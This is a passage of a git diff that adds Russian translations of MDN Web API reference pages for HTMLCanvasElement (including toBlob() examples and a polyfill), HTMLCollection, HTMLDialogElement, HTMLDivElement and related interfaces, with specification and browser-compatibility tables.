
+ +
+
{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}
+
Возвращает {{domxref("CanvasCaptureMediaStream")}} — поток видео, которое захватывается в реальном времени с поверхности холста.
+
{{domxref("HTMLCanvasElement.getContext()")}}
+
Возвращает связный с холстом контекст, который позволяет рисовать на холсте. Если context ID не поддерживается, возвращает null. Вызов getContext с параметром "2d" возвращает объект {{domxref("CanvasRenderingContext2D")}}, тогда так вызов с параметром "experimental-webgl" (или "webgl") возвращает объект {{domxref("WebGLRenderingContext")}}. Этот контекст поддерживается толко в браузерах, в которых реализован WebGL.
+
{{domxref("HTMLCanvasElement.toDataURL()")}}
+
Возвращает data-URL, который содержит представление картинки в формате. указанном в параметре type (по умолчанию png). Возвращаемая картинка имеет разрешение 96dpi.
+
{{domxref("HTMLCanvasElement.toBlob()")}}
+
Создаёт объект {{domxref("Blob")}}, представляющий картинку, которая содержится в холсте. Этот файл может быть кэширован на диске или сохранён в памяти наусмотрение user agent.
+
{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}
+
Передаёт управление объекту {{domxref("OffscreenCanvas")}}, либо в main thread либо в worker.
+
{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Возвращает объект {{domxref("File")}} представляющий картинку, которая содержится в холсте. This file is a memory-based file, with the specified name. Если тип не указан, используется image/png.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}{{Spec2('Media Capture DOM Elements')}}Adds the method captureStream().
{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML WHATWG')}}The method getContext() now returns a {{domxref("RenderingContext")}} rather than an opaque object.
+ The methods probablySupportsContext(), setContext() and transferControlToProxy()have been added.
{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (2D context)4.0{{CompatGeckoDesktop('1.9.2')}}9.09.0 [1]3.1
toBlob()50{{CompatGeckoDesktop('19')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatGeckoDesktop('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (2D context)2.1{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10.0 [1]3.2
webgl context{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} as experimental-webgl{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
toBlob(){{CompatNo}} (bug 67587)50{{CompatGeckoMobile('18')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Opera Mini 5.0 and later has partial support.

+ +

[2] Support for the third parameter, has been added in Gecko 25 only: when used with the "image/jpeg" type, this argument specifies the image quality.

+ +

[3] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

See also

+ + diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html new file mode 100644 index 0000000000..56cd5c0369 --- /dev/null +++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html @@ -0,0 +1,266 @@ +--- +title: HTMLCanvasElement.toBlob() +slug: Web/API/HTMLCanvasElement/toBlob +translation_of: Web/API/HTMLCanvasElement/toBlob +--- +
+
+
{{APIRef("Canvas API")}}
+
+
+ +

Метод HTMLCanvasElement.toBlob() создаёт объект {{domxref("Blob")}} представляющий изображение, содержащееся в canvas; этот файл может быть закеширован на диске или храниться в памяти на усмотрение пользователя (at the discretion of the user agent). Если параметр mimeType не определён, типом изображения считается image/png. Созданное изображение имеет разрешение 96dpi.

+ +

Третий аргумент используется для изображений с MIME-типом image/jpeg для определения его качества.

+ +

Синтаксис

+ +
void canvas.toBlob(callback, mimeType, qualityArgument);
+
+ +

Параметры

+ +
+
callback
+
Callback-функция с результирующим объектом {{domxref("Blob")}} в качестве единственного аргумента.
+
mimeType {{optional_inline}}
+
Аргумент типа {{domxref("DOMString")}} определяющий формат изображения. По умолчанию image/png.
+
qualityArgument {{optional_inline}}
+
Аргумент типа {{jsxref("Number")}} со значением от 0 до 1, определяющий качество изображения, если заявлен MIME-тип image/jpeg или image/webp. Если этот аргумент содержит нечто иное, для определения качества изображения будет использовано значение по умолчанию. Остальные аргументы проигнорируются.
+
+ +

Возвращаемое значение

+ +

Не возвращает ничего.

+ +

Примеры

+ +

Получение файла, представленного в canvas

+ +

Как только вы нарисовали содержимое в canvas, вы можете сконвертировать его в файл изображения любого поддерживаемого формата. Ниже приведён фрагмент кода, для примера, принимает изображение в элементе {{HTMLElement("canvas")}} с ID = "canvas" и получает его копию в виде PNG изображения, затем добавляет в документ новый элемент {{HTMLElement("img")}}, исходное изображение которого создано с помощью холста.

+ +
var canvas = document.getElementById('canvas');
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement('img'),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // больше не нужно читать blob, поэтому он отменен
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+
+ +

Обратите внимание, что здесь мы создаём изображение PNG; если вы добавите второй параметр в вызов toBlob(), вы сможете определить тип необходимого изображения. Например, чтобы получить изображение в формате JPEG:

+ +
 canvas.toBlob(function(blob){...}, 'image/jpeg', 0.95); // JPEG в 95% качестве
+ +
+

A way to convert a canvas to an ico (Mozilla only)

+ +

Это использует -moz-parse для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создается путем установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.

+ +
var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement('a');
+    a.textContent = 'Download';
+    document.body.appendChild(a);
+    a.style.display = 'block';
+    a.download = iconName + '.ico';
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');
+
+ +

Сохранение toBlob на диске ОС(chrome/add-on context only)

+ +
+

Этот метод сохраняет его на рабочем столе и полезен только в контексте Firefox chrome или дополнительном коде, поскольку API ОС не присутствуют на веб-сайтах.

+
+ +
var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML5.1')}}No change
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("50")}}{{CompatGeckoDesktop('19')}}{{CompatIE(10)}}{{property_prefix("ms")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]
Image quality parameter{{CompatChrome("50")}}{{CompatGeckoDesktop('25')}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome("50")}}{{CompatGeckoMobile("19")}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatChrome("50")}}
Image quality parameter{{CompatNo}}{{CompatChrome("50")}}{{CompatGeckoMobile("25")}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatChrome("50")}}
+
+ +

[1] See {{WebKitBug("71270")}}.

+ +

Полифилл

+ +

Полифилл, основанный на toDataURL, со слабой производительностью.

+ +
if (!HTMLCanvasElement.prototype.toBlob) {
+  Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+    value: function (callback, type, quality) {
+      var dataURL = this.toDataURL(type, quality).split(',')[1];
+      setTimeout(function() {
+
+        var binStr = atob( dataURL ),
+            len = binStr.length,
+            arr = new Uint8Array(len);
+
+        for (var i = 0; i < len; i++ ) {
+          arr[i] = binStr.charCodeAt(i);
+        }
+
+        callback( new Blob( [arr], {type: type || 'image/png'} ) );
+
+      });
+    }
+  });
+}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlcollection/index.html b/files/ru/web/api/htmlcollection/index.html new file mode 100644 index 0000000000..ef674de414 --- /dev/null +++ b/files/ru/web/api/htmlcollection/index.html @@ -0,0 +1,68 @@ +--- +title: HTMLCollection +slug: Web/API/HTMLCollection +translation_of: Web/API/HTMLCollection +--- +

{{APIRef("HTML DOM")}}

+ +

Интерфейс HTMLCollection является обобщённой коллекцией (объектом, ведущим себя подобно массиву) элементов (в порядке упоминания в документе) и предоставляет методы и свойства для получения хранящихся в нём элементов.

+ +
Замечание: Интерфейс назван HTMLCollection по историческим причинам. До стандарта DOM4 коллекции, реализующие данный интерфейс, использовались только для хранения HTML элементов.
+ +

HTMLCollection, хранящая элементы DOM, является динамической. При изменении документа она моментально отражает все произведённые изменения.

+ +

Свойства

+ +
+
{{domxref("HTMLCollection.length")}} {{readonlyInline}}
+
Возвращает количество элементов в коллекции.
+
+ +

Методы

+ +
+
{{domxref("HTMLCollection.item()")}}
+
Возвращает узел с порядковым номером index; отсчёт ведётся от нуля. Возвращает null, если index выходит за границы допустимого диапазона.
+
{{domxref("HTMLCollection.namedItem()")}}
+
Возвращает узел, идентификатор или имя (в целях совместимости) которого совпадает со строкой, переданной в аргументе name. Соответствие имени проверяется в самую последнюю очередь, только для HTML элементов и только для тех из них, которые поддерживают свойство name. Возвращает null , если искомый элемент отсутствует.
+
+ +

Использование в JavaScript

+ +

HTMLCollection предоставляет своё содержимое как собственные свойства, доступные как по имени, так и по индексу (как в массиве). Это связано с тем, что идентификаторы HTML элементов, содержащие точки и двоеточие (допустимо в HTML5), адресуемы исключительно через синтаксис доступа к массиву. Однако, при числовых идентификаторах невозможно определить, производится ли запрос по индексу или по идентификатору, неявно приведённому к числу.

+ +

Пусть в документе присутствует элемент <form> с id, равным «myForm»:

+ +
var elem1, elem2;
+
+// document.forms имеет тип HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms["named.item.with.periods"];
+ +

Поддержка браузерами

+ +

Браузеры по разному ведут себя при наличии нескольких элементов с одинаковыми индексами, либо значениями свойств namedItem. Firefox 8 действует в соответствии с DOM2 и DOM4, возвращая первое совпадение. Internet Explorer и браузеры на основе WebKit возвращают новый экземпляр HTMLCollection. Opera возвращает {{domxref("NodeList")}} со всеми найденными элементами.

+ +

Спецификации

+ + + +

См. также

+ + diff --git a/files/ru/web/api/htmlcollection/item/index.html b/files/ru/web/api/htmlcollection/item/index.html new file mode 100644 index 0000000000..01d6dd29f5 --- /dev/null +++ b/files/ru/web/api/htmlcollection/item/index.html @@ -0,0 +1,41 @@ +--- +title: HTMLCollection.item +slug: Web/API/HTMLCollection/item +tags: + - API + - HTML DOM + - Property + - Reference +translation_of: Web/API/HTMLCollection/item +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLCollection.item() получает элемент с заданым индексом.

+ +

Аргументы

+ +
+
index
+
Позиция возвращаемого документа. В объекте HTMLCollection элементы находятся в том же порядке, в каком они расположены в документе. 
+
+ +

Возвращаемое значение

+ +

Элемент соответствующий конкретной, заданной позиции или null, если index меньше нуля или больше, чем index последнего элемента.

+ +

Описание

+ +

Метод item() возвращает номерной элемент из HTMLCollection. В JavaScript легче работать с HTMLCollection, как с массивом, используя квадратные скобки.

+ +

Пример

+ +
var c = document.images;  // Это HTMLCollection
+var img0 = c.item(0);     // Вы можете использовать метод item( ) для доступа к элементу
+var img1 = c[1];          // Однако, использование квадратных скобок намного проще и более распространено
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlcontentelement/index.html b/files/ru/web/api/htmlcontentelement/index.html new file mode 100644 index 0000000000..f3c59d4f27 --- /dev/null +++ b/files/ru/web/api/htmlcontentelement/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLContentElement +slug: Web/API/HTMLContentElement +translation_of: Web/API/HTMLContentElement +--- +

{{ APIRef("Web Components") }}

+ +

{{Deprecated_header}}

+ +

The HTMLContentElement interface represents a {{HTMLElement("content")}} HTML Element, which is used in Shadow DOM. 

+ +

Свойства

+ +

This interface inherits the properties of {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLContentElement.select")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("select", "content") }} HTML attribute. The value is a comma-separated list of CSS selectors that select the content to insert in place of the <content> element.
+
+ +

Методы

+ +

This interface inherits the methods of {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLContentElement.getDistributedNodes()")}}
+
Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <content> element. 
+
+ +

Спецификации

+ +

This feature is no longer defined by any standards.

+ +

Поддержка бразуерами

+ + + +

{{Compat("api.HTMLContentElement")}}

+ +

См. также

+ + + +
+
 
+
diff --git a/files/ru/web/api/htmldataelement/index.html b/files/ru/web/api/htmldataelement/index.html new file mode 100644 index 0000000000..6dc1267d29 --- /dev/null +++ b/files/ru/web/api/htmldataelement/index.html @@ -0,0 +1,111 @@ +--- +title: HTMLDataElement +slug: Web/API/HTMLDataElement +translation_of: Web/API/HTMLDataElement +--- +
{{ APIRef("HTML DOM") }}
+ +

Интерфейс HTMLDataElement предоставляет специальные свойства (после чего постоянный  {{domxref("HTMLElement")}} интерфейстакже доступен еме по наследству) для манипуляции {{HTMLElement("data")}} элементами.

+ +

Свойства

+ +

Наследует свойства от родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + +
ИмяТипОписание
value{{domxref("DOMString")}}отображает {{ htmlattrxref("value", "data") }} HTML атрибут, содержащий машиночитаемый вид значения элемента.
+ +

Методы

+ +

Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-data-element", "HTMLDataElement")}}{{Spec2('HTML WHATWG')}}Не изменилось с {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', 'HTMLDataElement')}}{{Spec2('HTML5 W3C')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop(22)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatGeckoMobile(22)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html new file mode 100644 index 0000000000..81cb52cb72 --- /dev/null +++ b/files/ru/web/api/htmldialogelement/index.html @@ -0,0 +1,136 @@ +--- +title: HTMLDialogElement +slug: Web/API/HTMLDialogElement +tags: + - API + - Dialog + - HTMLDialogElement + - Interface +translation_of: Web/API/HTMLDialogElement +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

HTMLDialogElement - интерфейс взаимодействия, предоставляющий методы для управления {{HTMLElement("dialog")}} элементами. Он наследует свойства и методы от {{domxref("HTMLElement")}}.

+ +

{{InheritanceDiagram(600, 80)}}

+ +

Свойства

+ +

Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLDialogElement.open")}}
+
{{domxref("Boolean")}} отражает HTML атрибут элемента {{htmlattrxref("open", "dialog")}}, указывающий на то, доступно ли диалоговое окно для воздействия.
+
{{domxref("HTMLDialogElement.returnValue")}}
+
{{domxref("DOMString")}} устанавливает или возвращает передаваемое диалоговому окну значение.
+
+ +

Методы

+ +

Наследует методы своего родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLDialogElement.close()")}}
+
Закрывает диалоговое окно. Опциональный {{domxref("DOMString")}} может быть передан как аргумент, обновляющий returnValue диалогового окна.
+
{{domxref("HTMLDialogElement.show()")}}
+
Показывает диалоговое окно modelessly, т.е. остается возможность взаимодействовать с контеном вне диалогового окна.
+
{{domxref("HTMLDialogElement.showModal()")}}
+
Показывает диалог как модальное окно поверх любых других диалоговых окон, которые также могут существовать в данный момент. Взаимодействие с контентом вне диалогового окна заблокировано.
+
+ +

Примеры

+ +

Примеры ниже показывают простую кнопку, которая при нажатии открывает {{htmlelement("dialog")}}, содержащий элемент {{htmlelement("form")}}, используя  метод {{domxref("HTMLDialogElement.showModal()")}}. Вы можете нажать кнопку Отмены, чтобы закрыть диалоговое окно (используя функцию {{domxref("HTMLDialogElement.close()")}}), или принять форму, использую кнопку Принятия.

+ +
  <!-- Simple pop-up dialog box, containing a form -->
+  <dialog id="favDialog">
+    <form method="dialog">
+      <section>
+        <p><label for="favAnimal">Favorite animal:</label>
+        <select id="favAnimal" name="favAnimal">
+          <option></option>
+          <option>Brine shrimp</option>
+          <option>Red panda</option>
+          <option>Spider monkey</option>
+        </select></p>
+      </section>
+      <menu>
+        <button id="cancel" type="reset">Cancel</button>
+        <button type="submit">Confirm</button>
+      </menu>
+    </form>
+  </dialog>
+
+  <menu>
+    <button id="updateDetails">Update details</button>
+  </menu>
+
+  <script>
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Update button opens a modal dialog
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Form cancel button closes the dialog box
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  </script>
+ +
+

Note: You can find this example on GitHub as htmldialogelement-basic (see it live also).

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmldialogelement', 'HTMLDialogElement')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '<dialog>')}}{{Spec2('HTML5.1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLDialogElement")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/htmldialogelement/open/index.html b/files/ru/web/api/htmldialogelement/open/index.html new file mode 100644 index 0000000000..a6208c8ac9 --- /dev/null +++ b/files/ru/web/api/htmldialogelement/open/index.html @@ -0,0 +1,126 @@ +--- +title: HTMLDialogElement.open +slug: Web/API/HTMLDialogElement/open +tags: + - API + - Dialog + - HTML DOM + - HTMLDialogElement + - open +translation_of: Web/API/HTMLDialogElement/open +--- +
+
{{ APIRef("HTML DOM") }}
+ +

{{ SeeCompatTable() }}

+ +

open - свойство интерфейса взаимодействия {{domxref("HTMLDialogElement")}}, является {{domxref("Boolean")}} значением и отражает HTML атрибут {{htmlattrxref("open", "dialog")}} этого элемента, указывающий, доступен ли {{htmlelement("dialog")}} для взаимодействия.

+
+ +

Синтаксис

+ +
dialogInstance.open = true;
+var myOpenValue = dialogInstance.open;
+ +

Значение

+ +

{{domxref("Boolean")}} значение отражает состояние HTML атрибута {{htmlattrxref("open", "dialog")}}. true значит, что значение установлено и диалоговое окно показывается в настоящий момент. false указывает, что значение не установлено и далоговое окно не показывается.

+ +

Свойство доступно только для чтения — значение можно установить программно методы show и hide элемента {{htmlelement("dialog")}}.

+ +

Примеры

+ +

Примеры ниже показывают простую кнопку, которая по нажатию открывает {{htmlelement("dialog")}}, содержащий {{htmlelement("form")}}, используя showModal() метод. Вы можете нажать кнопку Отмена для закрытия (используя {{domxref("HTMLDialogElement.close()")}} метод) или принять {{htmlelement("form")}}, нажав на кнопку Принять.

+ +
  <!-- Simple pop-up dialog box, containing a form -->
+  <dialog id="favDialog">
+    <form method="dialog">
+      <section>
+        <p><label for="favAnimal">Favorite animal:</label>
+        <select id="favAnimal" name="favAnimal">
+          <option></option>
+          <option>Brine shrimp</option>
+          <option>Red panda</option>
+          <option>Spider monkey</option>
+        </select></p>
+      </section>
+      <menu>
+        <button id="cancel" type="reset">Cancel</button>
+        <button type="submit">Confirm</button>
+      </menu>
+    </form>
+  </dialog>
+
+  <menu>
+    <button id="updateDetails">Update details</button>
+  </menu>
+
+  <script>
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Кнопка обновления открывает диалоговое окно
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Кнопка отмены закрывает диалоговое окно
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  </script>
+ +
+

Примечание: Вы можете найти данный пример на htmldialogelement-basic (see it live also).

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'forms.html#dom-dialog-open', 'open')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', 'interactive-elements.html#dom-htmldialogelement-open', 'open')}}{{Spec2('HTML5.1')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.HTMLDialogElement.open")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/htmldivelement/index.html b/files/ru/web/api/htmldivelement/index.html new file mode 100644 index 0000000000..d309e5c1ae --- /dev/null +++ b/files/ru/web/api/htmldivelement/index.html @@ -0,0 +1,115 @@ +--- +title: HTMLDivElement +slug: Web/API/HTMLDivElement +translation_of: Web/API/HTMLDivElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +
+ +

Интерфейс HTMLDivElement предоставляет специальные свойства (не входящее в интерфейс {{domxref("HTMLElement")}} ) для манипулирования DIV элементов. 

+ +

{{InheritanceDiagram(600,120)}}

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}
+
Свойство типа {{domxref("DOMString")}} указывающее выравнивание содержимого элемента относительно окружающего контекста. Принемает следующие значения "left", "right", "justify", "center".
+
+ +

Методы

+ +

Не имеет специальных методов; Наследует методы родителя, {{domxref("HTMLElement")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML WHATWG')}}Неимеет изменений от {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML5 W3C')}}Неимеет изменений от {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM2 HTML')}}Неимеет изменений от {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM1')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmldocument/index.html b/files/ru/web/api/htmldocument/index.html new file mode 100644 index 0000000000..4a0ef5fd10 --- /dev/null +++ b/files/ru/web/api/htmldocument/index.html @@ -0,0 +1,20 @@ +--- +title: HTMLDocument +slug: Web/API/HTMLDocument +tags: + - API + - HTML DOM + - Интерфейс +translation_of: Web/API/HTMLDocument +--- +

{{ APIRef("HTML DOM") }}

+ +

HTMLDocument - это абстрактный интерфейс  DOM, который обеспечивает доступ к специальным свойствам и методам, не представленным по умолчанию в регулярном (XML) документе.

+ +

Его методы и свойства включены в страницу {{domxref ("document")}} и перечислены отдельно в их собственном разделе на вышеупомянутой связанной странице DOM.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/htmlelement/click/index.html b/files/ru/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..d800f52724 --- /dev/null +++ b/files/ru/web/api/htmlelement/click/index.html @@ -0,0 +1,115 @@ +--- +title: HTMLElement.click() +slug: Web/API/HTMLElement/click +translation_of: Web/API/HTMLElement/click +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Метод HTMLElement.click() имитирует клик мышкой по элементу.

+ +

